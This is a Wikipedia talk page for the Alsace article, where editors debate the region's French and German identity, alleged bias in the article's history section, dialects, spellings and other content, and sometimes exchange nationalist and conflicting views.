Since its conquest by Louis XIV, Alsace has been more loyal to France than German, because Louis XIV freed the serfs thus allowing greater growth and freedom. THis should be placed in the article. —The preceding unsigned comment was added by <IP_ADDRESS> (talk • contribs).
* Alsace is a very good exemple for forced assimilation of minority populations. Maybe it's the best exemple of mass-brainwashing of an ethnical group in Europe. While the Alsatians where definitely German in speech, culture and language for more than a milenia, the French occupation wiped out them ethnical and national identity and forced them to become "good French citizens".
* If we compare the situation of the German speking Alsatians with the situation of Transsylvanian Hungarians of Romania, we should ask very seriousely: Why the Latin Romanians have been so tolerant and democratic in manners of conduct with the minorities since centuries and why the Latin French have not?
* In Transsylvania, since the XI-th century, the Hungarians settled among the large Romanian populations, as conquerors and privileged social strata. Before 1918, the "Transsylvanian-style apartheid" prevented the entering of the Romanian majoritary populations into the cities and into the profitable bussiness of Transsylvania. Even so, the Romanians constantly developed into a democratic and liberal minded community. The union of Transsylvania with Romania, after the WWI meant the introduction of Universal Vote for all citizens, the end of "Hungarian style apartheid" and cultural and national freedom for all the ethnical groups. The Romanians granted and ensured free State-sponsored Hungarian schools for all, cultural freedom, freedom of speech and freedom of settlement. The Hungarian speaking schools, theaters, cultural foundations and papers are largely sponsored by the Romanian State (1920-2006 - period). During the Communist regime, the Hungarians where largely over-represented into the Romanian Communist Party (20% of the membership, compared with abb. 7% of the total population).
* After 1990, the Positive Discrimination Policies are favoring the Hungarians in school, university and job enrolement, even that the economical situation of the Hungarian minority was always slightly better than that of the Romanian majority. The official use of Hungarian language is granted in every community made of at least 20% Hungarians. The Hungarian language is used in justice, administration and culture; 15% of the actual Romanian Government personell (2006)is made of Hungarians (the Hungarians are 6.5% of the Romania's population as compared with 89.4% Romanians - data of 2006). Today, in 2006, the Hungarians are 19% of the Transsylvanian population (compared to 75% Romanians).
* What is very strange is the fact that in France one can read and hire, among "intelectual and educated societies" complains about the "bad situation of the Hungarians in Romania" but not a single complain about the forced assimilation of the poor German-speaking Alsatians. Odd ! —Preceding unsigned comment added by <IP_ADDRESS> (talk • contribs) 06:10, 29 April 2006 (UTC)
List of notable Alsatians
On the list of notable Alsatians, Albert Schweitzer is conspicuous by his absence. Sca 18:30, 5 October 2004 (UTC)
Albert Schweitzer has been added.
Shouldn't Baron Johann de Kalb be included on the list as well??? Samatva 21:50, 10 November 2006 (UTC)
* Johann Gutenberg is said to be from Alsace but he was born, died and lived the most time of his life in Mainz / Rhineland-Palatinate. He spend some time in Strasbourg (1434-1444) but does this make him an Alsatian? Cattleyard 09:46, 27 February 2006 (UTC)
Political bias
The history section in the article is totally biased (with anti-French/German nationalist approach), and needs to be seriously rewritten. Hardouin 03:00, 6 Nov 2004 (UTC)
* Can you explain the nature of the bias? Thanks Guettarda 23:02, 21 Nov 2004 (UTC)
* Please see my comment at Talk:Lorraine --Tkinias 01:36, 22 Nov 2004 (UTC)
Revisions for NPOV. I suggest the NPOV tag now be removed. Rollo 13:49, 22 Nov 2004 (UTC)
* "Alsace and Lorraine were reunited with Germany after the Franco-Prussian War of 1870" - corrected; Germany did not exist before 1870 so there was no question of reunification
* "After World War I those Alsatian, who moved in from other parts of Germany, were expelled. The re-establishment of German identity was reversed following the German surrender in 1918." > "After World War I the re-establishment of German identity in Alsace was reversed, while Alsatians who came originally from Germany were expelled." I.e., "other parts of" removed
* "while putting a halt to the anti-German oppression" = "oppression" changed to "discrimination", a correct and less emotive term
* "The war-torn area was given again in 1944 to France, which had then free hands to restore its policies." > "..which restored its policy of promoting the French language."
The flaws run far deeper than a few offensive expressions. As I suggested at Talk:Lorraine, we need a discussion of the Alsace-Lorraine issue. The problem is that the "two sisters" have immense potency as nationalist symbols on both sides of the border, and both sides try to paint the regions as "really French" or "really German", when in fact they were neither for most of the history, because nationalism hadn't been invented yet. And the "anti-German" policies were not anti-German, but standard French republican centralization and homogenizing -- the same process going on in Provence, Bretagne, etc. --Tkinias 14:09, 22 Nov 2004 (UTC)
* That's a silly argument, we're talking about anti-German culture, not anti-German government. German culture, despite your claims to the contrary, did indeed exist and has existed for a very long time. And because the French also executed the same policies in other areas does not mean that they are somehow not descriminitory. Indeed to this day the French government has been attempting to cleanse ("homogenize" if this is your preferred euphemism) minority languages throughout France. Unless you're a staunch nationalist I see it diffucult to say how you could honestly describe the specific banning of a language as not being discriminatory. It's as if a racist were to say "I don't hate black people, I just want to homogenize everyone so they are white" Hvatum 02:36, 17 October 2006 (UTC)
* I agree. It is clearly a more complex issue than simply one of two colliding nationalisms. But as to the question of whether the article is even-handed, I can't find anything factually suspect. And the tone seems to me reasonably fair to both sides. Now it would seem to be just a question of adding a section to highlight the points you raise. --Rollo 10:31, 23 Nov 2004 (UTC)
* What about a new article that both Alsace and Lorraine can link to? I might be able to write one up after the end of the semester here. —Tkinias 11:56, 23 Nov 2004 (UTC)
* Why not? As it happens I don't know a lot about this subject - I was just trying a bit of neutral dispute resolution. Still, the NPOV tag still seems to be there... Rollo 02:00, 27 Nov 2004 (UTC)
Everybody knows-Alsatians are pseudo-French. VIVE L'ALSACE ALLEMANDE !!! —Preceding unsigned comment added by <IP_ADDRESS> (talk • contribs) 12:35, 4 December 2004 (UTC)
* Just like "everybody" knows that Ukrainians are pseudo-russian and Tawianese and Tibatans are pseudo-Chinese? If you're going to weasel your above opinion into all the articles online stop posting on Wikipedia. There's no such thing as "everybody knows" and such statements do not belong in Wikipedia, even on the discussion pages. Also in the future sign your comments, you can do so with four tildes ~ in a row at the end of each commentHvatum 08:33, 22 October 2006 (UTC)
- A very good example for a neutral point of view is the page about the macedonians. —Preceding unsigned comment added by <IP_ADDRESS> (talk • contribs) 21:05, 1 January 2005 (UTC)
* When you ask an Alsatian what he thinks about his nationality, he will answer you: "I'm Alsatian first and foremost". I have to say that we never had the feeling of being entirely french, nor we had the feeling of being entirely german.During the Middle-Age era, the question was not an issue, considering Alsace was under the Emperor's authority for its major part. But I must agree, being part of the Empire doesn't mean being German, at least before the 17th century. After that, we were considered french anyway, but, as I said, we were first and foremost alsatian, had always been. As for more recent history, I personally have some members of my family that lived throught the 1870 franco-prussian war, and wrote down their impressions. Add to that the formal protestations of the alsatian deputies in Bordeaux, you can easily find the impression the people had. Alsace knew a massive emigration during those years (a part of my family went to Chicago). When Germany finally retrieved Alsace, it was to have less than thrilled Alsatian leave their native places to fly all around France and the world. So, as i said, do not fool yourself: Alsace was not a happy German area.
* But to this, I must add a few things:
* Before WWI, German politics in Alsace were not bad for the area. They developped Strasbourg (which has a great German neighborhood now), brought the electricity, urban gas, urban light, they founded the University and a Landes Library. They built a tramway, and at the end of the nineteenth century, Strasbourg was a prosperous city.
* During WWI, German politics were changed: they begun to have suspicions toward Alsatian, suspicions because they thought Alsatian were still french, and these suspicions were not relieved by the fact that a lot of Alsatian refused to fought against french. My personnal family history shows that: my great-granfather was in an all Alsatian troop, and they were only directed by a German Captain. At the first occasion they had, they chose to became french prisonners rather than to shoot a french soldier.
* At the end of WWI, Alsace was happy to find again France. You can find things like "Le Conseil de... est heureux d'accueillir les glorieuses troupes de sa mère patrie la France" (The town council of... is happy to welcome the glorious troops of its mother-country, France"), but by the end of the 20s you could find all sorts of protestation groups wanting only one thing: autonomy from France AND Germany. Thosed groups divided in two during WWII: part of them where happy to receive an audience from Germany and nazism, and a great majority of the autonomists where not really opposed to the idea of pangermanism. However the nature of the nazi politic essentially forbid thinking about autonomy. A lot of them where put in deportation.
* WWII was awfull for Alsace. The area suffered a lot, probably a lot more than most of the other French regions. That is one of the reasons for Le Malaise Alsacien as some writers called it: The uneasiness of Alsace. At the end of WWII, a generation was sacrified: French government accused Alsace of having cooperated with the Nazi, and conducted a trial against 14 alsatian part of the Charlemagne division that destroyed Oradour-sur-Glane. 13 of them were "Malgré-Nous", "Against-Us", young men enrolled against their will, with the certainty that, if they deserted or refused to go, each members of their family would suffer from their decision. After that, even if the 13 were out of jail before the 50s, thanks to De Gaulle, we never felt wholy french. I know, for one, that I was educated to know that I'm first Alsatian, then European. Maybe that's because of this history that Alsace has great hopes for Europe.
* <IP_ADDRESS> 12:11, 12 May 2007 (UTC)Anne-Caroline Sieffert
* Ah, alors là... vous avez tout faux là, Madame! Not everything in fact - but so much that the rest does not really remain right, neither! To start with the end: Who or whatever gave you the idea that it was the Division Charlemagne that destroyed Oradour and massacred its population?? It was of course "normal" Waffen SS (the division "Das Reich") - even the Nazis were not crazy enough to send French volunteers against fellow civilians! (Even after the "good work" of the Vichy-police in the deportation of the French jews.) Alsatians could, of course, not become part of the French "Brigade" (as long as they were recognised as such by the occupators) - as they were regarded as Germans by the Nazis and were on military duty - and not volunteers - in the Wehrmacht or even the Waffen SS (which was not a simple part of the SS and thus not exclusively made up of (volutary) members (and SS-men) and to which the Nazis especially drafted "foreign Germans" like Southern Tyrolians, East-Prussians etc. - the "most exposed"!). "Volunteer" (the one out of fourteen) means, he would have been drafted - at least to the Wehrmacht - anyway. The others were - whatever that (really) means - "Malgré-Nous" - young men enrolled against their will - just as very many Germans and Austrians at that time! - So where is the speciality?? The speciality is that other than the "Charlemagne-guys" they would have had the "certainty that, if they deserted or refused to go, each members of their family would suffer from their decision" - something that absolutely does not have to be explained to Germans - but to French (! - and its good you do, but not well enough!) as many French cannot understand the difference between collaboration in (at that time) France - and "collaboration" in (illegaly annexed) Alsace!
* You seem to have a much clearer idea on the subject than "some other" contributers here, a more "Alsatian" one. Still you let yourself be misguided so easily by simple details! As f.i. "things like "Le Conseil de... est heureux d'accueillir les glorieuses troupes de sa mère patrie la France" (The town council of... is happy to welcome the glorious troops of its mother-country, France")". - Did it ever occur to your mind that (whatever it may mean and express else) this is exactly what the French troops at the "liberation" after WWI wanted to hear - or what Alsatians would have expected them to like hearing??? --<IP_ADDRESS> 16:33, 30 November 2007 (UTC)Stephele
* Anne-Caroline Sieffert, you only express your own point of view there. The majority of the Alsatians I know (being Alsatian-rooted, Alsatian-born and Alsatian-raised) would say they're French first. <IP_ADDRESS> (talk) 05:14, 18 January 2009 (UTC)
* Well, that´s not nice to place your comments right in the middle of the writing of the person you are replying to (donc je me suis permis de le déplacer...) - as it is not to sign your edits! ( - In this case you did hit the right button though, but not in your other comment on the Strasbourg-talk page and in my discussion. - Would be nice though to get at least a slight idea à qui on a affaire.) It´s also not nice (from the FrankReichsWEHR-point-of-view) to turn (as another "annoyed Alsatian", supposedly?) against your fellow debaters and thus split up this phoney union of Alsatians who obviously have nothing in common (except their origin) but their shared clear "Feindbild" - but the better for honesty, truth and neutrality! So I did not really expect this but I find myself urged to "voler au secours de" Mme Sieffert, who of course expresses her own point of view but it obviously is an extremely common one in Alsace and so she is right on that point! ( - Which is exactly why to me she always was the only one "of the bunch" really sounding like an Alsatian!) I have no statistics at hand to proove it (although I believe even to have heard of some at least once) but after all my experience there I would believe that this kind of statement is most likely the one that at least a relative majority in Alsace would make - it´s a real cliché! The "majority of the Alsatians" you know may say they're French first - but then obviously they do not (how "Alsatian-rooted, Alsatian-born and Alsatian-raised" they may be) reflect the "typical", the most commonly expressed Alsatian attitude! And as you give the impression of sharing exactly their opinion, they seem even "less typically Alsatian" as Alsatians quite obviously tend to express the "Alsatian first"-point of view towards ("inner") Frenchmen, "Frànçais de l´ìntérieur" or "Hase" whereas Germans would more likely get the "French" (or "Alsatian=French") version. :-) --<IP_ADDRESS> (talk) 14:41, 19 February 2009 (UTC)Stephele
Alsace/Elsass
Alsace was part of the German-speaking territory of the Holy Roman Empire until 1648 when most of it was wrested from the Emperor by the King of France in the Treaty of Westphalia which concluded the Thirty Years' War. The Emperor ceded Alsace outright to avoid having the King of France as member of his estates. Later in the same century, Strasbourg was also seized by Louis XIV, who reinstated Catholicism.
Whilst Alsace is largely German-speaking (and, strictly speaking, most German speakers do not speak Standard German but Alsatian dialect, a dialect identifiable as German without any doubt whatsoever), it is difficult to say whether it is definitely 'German' or 'French'. The German-speaking Alsatians share a status similar to that of German-speaking Austrians in the Southern Tirol, i.e. they are part of a geographically continuous German speech community but find themselves located in a neighbouring state with an unrelated national language. One may ask to what extent German-speaking South Tiroleans look to Vienna rather than Rome, and in the same way the German-speaking Alsatians look to Berlin.
The following points may be of note.
1. The first-ever printed German Bible was published in Strasbourg in 1466. During the 16th century, there were probably in excess of 3000 books printed in Strasbourg. Of those known, only three were in French. The rest were in German (the vast majority), Latin or other languages such as Greek. Strasbourg was a very important centre of German protestantism and many of Luther's works were published there during the sixteenth century. These facts, along with the existence of Albert Schweitzer, tend to be overlooked by histories written in French.
2. A German nationhood or even nationality was only just begining to emerge within the multi-ethnic and multi-lingual Holy Roman Empire in the 17th century. Therefore it would not be correct to say 'a part of Germany was siezed by the French', but that is not to say that Alsace could never have been described as 'German'. It was very firmly entrenched in German cultural influence. More important to the ordinary Alsatian in the 17th century were his freedoms.
3. After the defeat of Napoleon, the Austrian Emperor refused to let Alsace become part of Prussia for fear of Prussian strength. Through this most unlikely demonstration of generosity to the French, Alsace remained part of France.
4. Alsatian German was the main language of most people until the twentieth century; however, the ruling classes and wealthier middle classes tended to speak French in the nineteenth century.
5. It may well be the case that German and French languages acquired a social connotation during the 19th century, and emerging social conflict therefore exacerbates the language and national question.
6. When Alsace-Lorraine was reunited with the German-speaking world in the German Reich under Bismark in 1871, its status was inferior to other German Länder. It had far less representation than others and it was a personal domain of the Kaiser. It was termed 'Reichsland Elsass-Lothringen'.
7. There were migrations from Alsace of wealthier French speakers at this time, and many German-speakers moved in from Germany proper. At this time, standard German became the official language, but it is not correct to say that French was banned or ignored. There was a (albeit unequal) dual lingualism.
8. Through its membership of the German Reich, the region developed and industrialised, and there are many monuments to this period (1871-1919), such as the railways, the Postal Service, the 'Ville Allemande' in Strasbourg, etc. The population grew and the region prospered. The University of Strasbourg was founded.
9. Where the sympathies of the Alsatians lay at the outbreak of the First World War is hard to say. They were enlisted to fight for the German Reich, of course, and did so often in the remote East (East Prussia). This may, or may not, be a token of the German Army's uncertainty about their loyalties. Often Alsatians were described unflatteringly by officers. It is hard to say whether the population of Alsace as a whole welcomed German defeat and its subsequent reincorporation into France or resented it. There was undoubtedly a mixture, and it depended largely who you were and what you had to gain or lose.
10. After the First World War, significantly, the French refused a plebiscite in the region and expelled all Germans who had settled there during 1871-1919. This was an early example of 'ethnic cleansing'.
11. The German language was suppressed in the period between the World Wars.
12. Undoubtedly, German rule 1940-44 was uncompromising. Again, no plebiscite was granted after the Second World War, unlike the Saar region.
13. It seems strange, at least to the eye, to imagine an historian as eminent as Phillipe Dollinger arguing for France with such a German name; it is odder to find Alsatian speakers with German names saying they are definitely French. During the Wilhelmine period, over 80% of the region described itself as German-speaking in the censuses.
14. There have been movements for autonomy since the 19th century.
15. In conclusion, it is possible to say, on balance, that Alsace, and Strasbourg, belong traditionally to the German Kulturkreis. However, it was never part of a German nation state except for the period 1871-1919. It is interesting to speculate how a plebiscite might have gone after the First World War. After the Second World War, German became 'unfashionable' as the language of dictatorship, and French was eagerly embraced by the inhabitants. This is now giving way to a cautious resurgence of interest in German roots and Alsatian dialect. Standard German is now being favoured in schools. However, this may undermine, rather than strengthen, dialect. In the cities, virtually all speak French and German is not heard that often. French people as a whole are far more sensitive about Alsace than Germans; e.g. a museum worker in the Museum of Alsatian Life in Strasbourg reacted indignantly when he was asked about the state of the German language in Strasbourg. His reply was 'ce n'est pas l'allemand, c'est l'alsacien!' The French never want really to use the word 'German' in connexion with Alsace. (The Germans are far more sentimental about the loss of their Eastern Territories (East Prussia, Danzig, Pomerania and Silesia) than they are about Alsace-Lorraine.)
16. Finally, it is worth noting that the French have always had a far more prescriptive and illiberal language policy when compared to the Germans. Native historians have always tended to be biased about the affiliation of Alsace. We need to remember, too, that language does not define nationality, contrary to what the French King Francois I proposed in the 16th century.
A notable link for German-speakers is www.elsass-lothringen.de —Preceding unsigned comment added by <IP_ADDRESS> (talk • contribs) 20:39, 8 December 2004 (UTC)
* Very interesting - how about incorporating some of this in the article? Point 5 in particular is an excellent point that surely needs including in the article. --Rollo 21:50, 9 Dec 2004 (UTC)
* I suppose that from outside you can talk of an "ethnic cleansing", although, here in Alsace, we certainly don't perceive it like that. And I must say that, although France had been awful for the recently incorporated regions like Brittany and Alsace, its politics nowadays concerning native languages are mostly comprehensive. In Alsace, tehre is an option at the Baccalauréat that is called "Culture et langue régionale" "Culture and regional language". Alsace is also the first region in term of local language speakers, and local language teachers. As for its dual language, since recently, all kids had to learn german during primary school (today it's english and german in a lot of schools). Also, I have to underline that, unlike most regions, Alsace has its own school decisions. Its politics in questions of educations are decided by the Alsace's Council: "Conseil régional d'Alsace".
* <IP_ADDRESS> 12:22, 12 May 2007 (UTC)Anne-Caroline Sieffert (I have a German name, but I do not feel german at all, although I have a deep respect and admiration for German culture)
* I completely agree with Anne-Caroline and would like to reiterate are point. My last name is Wehr (just like in Wehrmacht), a name which most French people can't pronounce. Yet first names in my family include Laurent, Jean-Louis and Alain, names which most Germans are unable to pronounce. My point is, the French first name German last name thing is very Alsatian. Point 13 doesn't make much sense to me. Lot of people in Alsace, including Anne-Caroline and I, have German last names (and so I suppose you could consider us culturally or historically Germanic or whatever) but do not identify as German. I personally have no problem considering myself French, despite my name. There's absolutely nothing "odd" about that. You can't say that Alsace is definitely French or German, but a lot of people in Alsace consider themselves fully French, including me (and rightly so). Axel 17:56, 21 August 2007 (UTC) —The preceding unsigned comment was added by AxelW (talk • contribs).
Elsaß non Elsass
There's no reason to use the controversial modernized spelling for Elsaß when citing the German name; it was spelt with the ß when the province was part of Germany. (It's particularly odd to use the ss spelling when mentioning the stamp overprint which very clearly uses the ß.) This isn't German Wikipedia, so we don't have to follow the whims of German governments... —Tkinias 09:21, 22 Dec 2004 (UTC)
* Except to say, Tkinias, regarding your (correct) assertion that this is not German Wikipedia) that ß is not a member of the English alphabet, and that Elsass is not a word in English at all. The whims are not just German, but also Austrian. Switzerland has never used the ß character. Elsass is a more useful spelling nowadays, especially given search facilities on the internet. —Preceding unsigned comment added by <IP_ADDRESS> (talk • contribs) 21:22, 23 December 2004 (UTC)
* Please log in and sign your comments; anon comments are not very helpful. I've fixed Strasbourg and added a note about the modernized spelling for Elsaß. Whether ß is part of English spelling or not is irrelevant when citing German names. —Tkinias 02:22, 24 Dec 2004 (UTC)
General complaints
Will the person who 1) cannot spell or write standard English properly, 2) cannot punctuate properly, and 3) doesn't know his facts, stop editing this article. Some editing comes from the US which no doubt explains it.
Thank you —Preceding unsigned comment added by <IP_ADDRESS> (talk • contribs) 18:29, 7 February 2005 (UTC)
Religious exception?
I have read that Alsace (and the northern part of Lorraine) is exempt from the 1905 French separation of church and state because it was part of the German Empire at that time. Instead, when it was retaken by France it continued to follow the Napoleonic Concordat of 1801, under which Catholic, Protestant and Jewish clergy are paid by the state.
Is this true today? If so, it should be added to the article. Funnyhat 03:25, 18 Apr 2005 (UTC)
* yes it is. Rama 08:09, 18 Apr 2005 (UTC)
* The article contains a link to Separation of church and state, which explains this in some detail (see "France" section). olivier 08:14, Apr 18, 2005 (UTC)
download size
When I load this site it starts to download quite a lot with no apparent reason to me. At least 10 MB, after that I halted it. So, what's up with that? --<IP_ADDRESS> 15:41, 28 October 2005 (UTC)
Music
Does anyone know anything about the traditional music (or classical music) indigenous to Alsace? A musician friend of mine is of Alsatian ancestry and is curious about it. I can find nothing online but a band called "Holatrio Hop'sasa" of Colmar but even their website is down. Thank you, Badagnani 01:10, 28 May 2006 (UTC)
* ===> In Alsace, the traditional music is influced by the East and Germany.
* some representatives of the Alsatian music:
* Jean-Pierre ALBRECHT
* Roger SIFFER
* You can have other information on
* Wsswfrench 13:36, 17 June 2006 (UTC)
Sauerkraut
'The gastronomic symbol of the region is undoubtedly Sauerkraut!
'The word "Sauerkraut" derives from the Alsatian "Sûrkrût", which means "sour cabbage"'
This statement is misleading. "Sauerkraut" is a High German word which means "sour cabbage." Indeed, it is a form a cuisine which is not unique to the Alsace region and as such I doubt that the High German term is "derived" from the given term in the Alsatian dialect. I would proprose the following to replace these two phrases:
'The gastronomic symbol of the region is undoubtedly Sauerkraut, or "Sûrkrût" in Alsatian, which means "sour cabbage."' —Preceding unsigned comment added by Jav209 (talk • contribs) 05:15, 25 June 2006 (UTC)
Language
> Alsatian is closest to Swiss German.
i am a bit surprised by this. i am from the palatinate in germany and the people always sounded quite like us and not like swiss. (in fact, i have extreme trouble to understand swiss german) —Preceding unsigned comment added by <IP_ADDRESS> (talk • contribs) 13:29, 8 August 2006 (UTC)
Go to Southern Alsace and you will see it´s true! Of course close to your region - Northern Alsace - you will find the dialect very similar to yours. But in that part of the region it is not even Alemannic as in most of it. It is Franconian (rheinfränkisch) like yours. - And there is a mixture zone til Strasbourg... —Preceding unsigned comment added by <IP_ADDRESS> (talk) 10:47, 28 September 2007 (UTC) - Didn´t have the time to sign...--<IP_ADDRESS> 18:34, 13 October 2007 (UTC)Stephele
"Politics section"
I could not 'elp but to read zis wiz a mock French accent :) No disrespect to the autor or his contribution but I'll try to rewrite and consider the appropriateness (some bias?) chochem 10:26, 11 October 2006 (UTC)
* Yes please do so, this article has too many weasel words for my taste. I removed the "felt obliged" phrase. A summary of German/French language dominance after a war does not need redundant and emotionally charged wordings such as "Felt Obliged (to speak French)" - Why or how did they "feel obliged"? Or "Were forced to speak German" - in what way were they "Forced" to speak German. We're dealing with facts here, not opinions.
* Only actual events, laws and actions have relevance here. An example such as the law passed by France after WWII limiting German to a % of content in Newspapers is relevant to such questions. Vague meaningless weasel words are not.Hvatum 08:41, 22 October 2006 (UTC)
Sounds like an advert.
Part of the first paragraph sounds like it might harken from a brochure. "Wrapped in history, Alsace to this day is a center for Europe, if not the center, and a tremendous spot for tourists. Its cosmopolitan background makes it a worthwhile place to visit." —The preceding unsigned comment was added by Gentlyfloatingabout (talk • contribs) 15:55, 25 February 2007 (UTC).
Need help
Hey User:R9tgokunks
I just wanna warn you that Alsace is french, and it used to be some days a part of the German Empire... but there is quite a while, and since the Napoléonic wars, Alsacians are more attracted to France than to Germany.
I'm an Alsacian and I'm living in this land for ever, all my ancestor since the year 1512 are alsacian... so I know more than you about Alsace's History. So trust me, Alsace righfuly belongs to France.
I totaly agree that Alsace used to be a part of the German Empire but '''Alsacian don't feel and don't want to be german !!! That's all !!!!'''
'''Village's name are german, i agree, but there are thousands years old ; and in the article, you are speaking about actual alsacian and on this last point, i'm at odds with you beacause actual alsacian are totally agree with the fact to be a part of France !!! no-one there want to be german!!!'''
bye user:Paris75000 00:07, 26 February 2007 (UTC)
* Rightfully belongs? This is POV. Wikipedia is no place for original research. Add references for everything and if can't be references then it can't go in. Theresa Knott | Taste the Korn 15:04, 11 March 2007 (UTC)
* I agree that the above comment is very POV. But he is basically right. I'm also Alsatian and you guys simply don't understand the situation. The posted article provides information that does NOT reflect the reality of Alsace, because people fail to distinguish cultural, historical and political aspects of the question. Here's how I see it:
* - Alsace's historical culture is Germanic. Please note that I use the word Germanic, not German. In French, the distinction is clear because the respective words are germanique and allemand. Lot of people here fail to grasp the nuance. Germanic relates to culture, German relates to the nation. Anyway, Alsace was culturally Germanic, as reflected by its gastronomy, its local language, a lot of its architecture, the names of villages and people... You will not find many people, in or out of Alsace, to disagree with this.
* - Alsace is politically French. Here's why. Alsace has historically been populated by merchants, artisans and bourgeois, the people who were denied power by the aristocracy. There is no strong aristocratic tradition in Alsace. Thus, it flourished as a fairly independent state of the Holy Roman Empire. Louis XIV's efforts to impose customs were understandably rejected because the region had flourished through trade. Because of their situation, the Alsatians welcomed the fall of the monarchy 200 years later. Look at the military leaders they provided France under the revolution and Napoleon: Kléber, Lefèbvre, Kellerman... Thus, I would say that in terms of philosophical and political orientation, Alsace became closer to France. It's true that we have special legal status for quite a few things, but that doesn't change the fact that Alsace identifies more with the laws and political traditions of France than those of Germany.
* So to answer the question of whether Alsace is "really" French or German, I would say that it is politically French, but has Germanic (NOT GERMAN) cultural roots. Let me add that the Germanic culture is waning and that just by dint of being a well-integrated French province for the last 60 years, all that remains of Germanic culture is historical. Alsatians today rarely consider themselves personally culturally Germanic.
* I think the article should be made to reflect these ideas. Agree? Disagree? no signed User:AxelW
* Well, I'm not at odds with you, I agree that Alsace's got a germanic past nevertheless, what made me upset what this : difference and User:R9tgokunks had got a biased view of what Alsace is or what to be : a actual french city with european ambition... and did not what to talk about on the appropriate page User talk:R9tgokunks section Alsace or on this page. So without talking, how do you what we expose our arguments? Sincerily. user:Paris75000 10:27, 22 March 2007 (UTC)
Here are a few minor changes i've made to the culture section: - saying Alsace is historically part of the Holy Roman Empire makes no sense, one could just as well say that Alsace and France were both historically Frankish/Germanic, but the region developped its own identity and culture, the HRE is only a part of it. I feel the rest of the article makes this clear. - Alsatian is not really most similar to Swiss German - "More often assumed to be bilingual": not really, not more so than Bretagne or Corsica. I'm changing it to "sometimes" - rephrased other stuff in language paragraph - rewrote paragraph on German Axel 19:10, 23 March 2007 (UTC)
* Guys, I'm happy you two have come here. I've had to deal with this R9tgokunks for many weeks now. A bit of background information on this guy: according to his user page, he's an American guy from North Dakota, a state with a strong German heritage as you may know, so he's probably descending from German immigrants. On his user page he says that Bismarck is one of his idols. No comment! This guy has started a crusade to Germanize all articles related to formerly German cities or areas. Not just Alsace, but also Polish cities formerly German such as Wroclaw or Gdansk. The German nationalism of this guy is found not just in the Alsace article, but also in many articles of Alsatian cities. I had to revert his edits many times, but he usually reverts back to his Germanized versions after some time. I suggest you particularly pay attention to these articles: Strasbourg, Mulhouse and Wissembourg, which he's frequently trying to Germanize. I know he has Germanized many more articles, but I haven't had the time and interest in de-germanizing them. If you guys are up to it, here are some articles that would need de-germanizing: Eguisheim (the German name appears on top of the infobox as if it was official, the German name is also used inside the article instead of the official French name), Guevenatten (same), Lièpvre (he bolded the German name as if it was official), Lucelle (same), Neuf-Brisach (same + used the German name on top of the infobox), Ribeauvillé (same), Riquewihr (same), Saint-Hippolyte, Haut-Rhin (same), Altorf (implying that somehow the French name is a corrupted version of the German name), Haguenau (German name bolded and put on top of the infobox), Labaroche (German name bolded), Lauterbourg (German name bolded and put on top of infobox), Marmoutier (same), Obernai (same), Plobsheim (German name on top of infobox), Reichshoffen (German name bolded), Saales (German name bolded and put on top of infobox), Sarre-Union (German name bolded), Sélestat (same), Wœrth (same), Phalsbourg (German name bolded). Godefroy 00:48, 1 April 2007 (UTC)
* I find this discussion and conjecture behind his back distasteful. If you have problems with another editor, you should address him/her. If you are unable to remedy disagreements directly, Dispute Resolution should be sought. I have cleaned up the aforementioned Alsatian locality articles by debolding German names and removing them from infoboxes. I find the inclusion of the names relevant to the articles, however, considering the historical importance of Alsace to both France and Germany. Olessi 23:59, 1 April 2007 (UTC)
* I've tried discussing things with this user before, but he's not open to reason. He's engaged in a Germanizing crusade, and has been blocked numerous times already: . In fact, to be honest, I think this guy should be banned from Wikipedia for good, since all he seems to be doing here is pushing POV and starting edit wars. Now I see he has even set eyes on the Brussels article, trying to undermine the reality of a mainly French speaking city there, and presenting Brussels as an essentially Germanic (Dutch) city. Crazy, isn't it! Where will this stop? Godefroy 15:11, 2 April 2007 (UTC)
* If you guys want to express your opinion, I left a comment here: Talk:Brussels. Godefroy 15:19, 2 April 2007 (UTC)
* I must agree with Godefroy on this...
* And although Alsace does have a germanic history, we feel mostly French. I think making an article on Alsace without asking for the opinion of Alsatian is really odd, even with Wiki policies on POVs.
* And the other thing I wanted to add is about the link someone put at the end of the article. Elsass Frei and the FLNA are essentially right wing, with links with Alsace D'abord, an extremist politic party. I think that you should know that Alsace D'abord is a very little party, with a non-existent political weight. Alhtough THERE IS an autonomist streak in Alsace, it's very small, and a lot of autonomist having been put into deportation camps during WWII it had been extremely rare to find big organization wanting autonomy, even if it's clear that Alsace has a really strong regionalist streak, and is attached to its local particularisms.Anne-Caroline Sieffert 12:59, 12 May 2007 (UTC)Anne-caroline Sieffert
Paris75000??? Wàs fer e Elsass´r bisch denn Dü?? E "provincialisme-kompenséer-Elsass´r"? E Oschtbàhn(hoft)-Hansi vun de "Brigade Alsace-Lorraine" (Non! - En fait c´est Bld. de Strasbourg...)?? - Môssiö Bàrissfénfesiwezichtöisich? Vous ne savez pas ce que c´est? You arr lackingg "Germanicc" culturre sere?? "Alsacians are more attracted to France than to Germany"? "Alsacian don't feel and don't want to be german"??? Alsatians "are totally agree with the fact to be a part of France"?? !!! "no-one there want to be german"?? Well - did you ask them? Personally? - Every single one of them? Where are we to "consult" the results of your "sondage"? I do not think that simple "trust" will suffice! - "So trust me, Alsace righfuly belongs to France." - "Rightfully"?? - By what right? When has the referendum (finally) been made? I was not informed about that! - Ah, but you know the will of (all) your fellow countrymen - so you can do this referendum all by yourself here, can´t you?? Or you are the UN and the League of Nations and the International Tribunals in one person - so you can decide...? Well right! This really seems quite Parisian - 75000%!! Désolé - mais face à... such contributions I just cannot stay serious! Especially after I tried to convince Mr. R9tgokunks myself of better ways to stress French AND German ("germanique") elements in Alsace but another User has verWEHRt it to me!--<IP_ADDRESS> (talk) 00:55, 29 November 2007 (UTC) Hein, M. AxelW? You are "also Alsatian"?? Really? Do you have any other proof than your obvious national complexes, you are showing off here all the time? We "guys simply don't understand the situation!". Oh yeah? - But you do?? Just three examples of your worthy wisdom: "The posted article provides information that does NOT reflect the reality of Alsace..."
* 1) "Alsatian is not really most similar to Swiss German" - No? What is it then?? That is simply n´importe quoi (nonsense)! You can read and check that the contrary is true everywhere luckily! Of course to be absolutely correct one has to say that the local Alsatian dialects mostly totally resemble those just on the other river bank of the Rhine - in Baden, Germany - apart from the extreme south of Alsace (on the Swiss border)! But as Swiss German is better known than the dialects in Germany, the comparison is all right!
